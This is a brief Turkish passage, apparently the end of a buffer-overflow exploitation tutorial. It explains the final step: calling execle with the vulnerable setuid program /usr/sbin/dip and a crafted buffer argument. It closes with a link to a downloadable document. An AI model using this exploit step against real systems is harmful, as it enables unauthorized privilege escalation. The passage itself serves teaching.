Ve geriye kalan sadece execve. Once vulnerable programin full path’i,
programin ismi, NULL ile biten argumanlar dizisi ve environment pointer’i
execle’ye paremetre olarak veriyoruz:

execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);

Word Doc > http://rapidshare.de/files/47752523/bof.rtf.html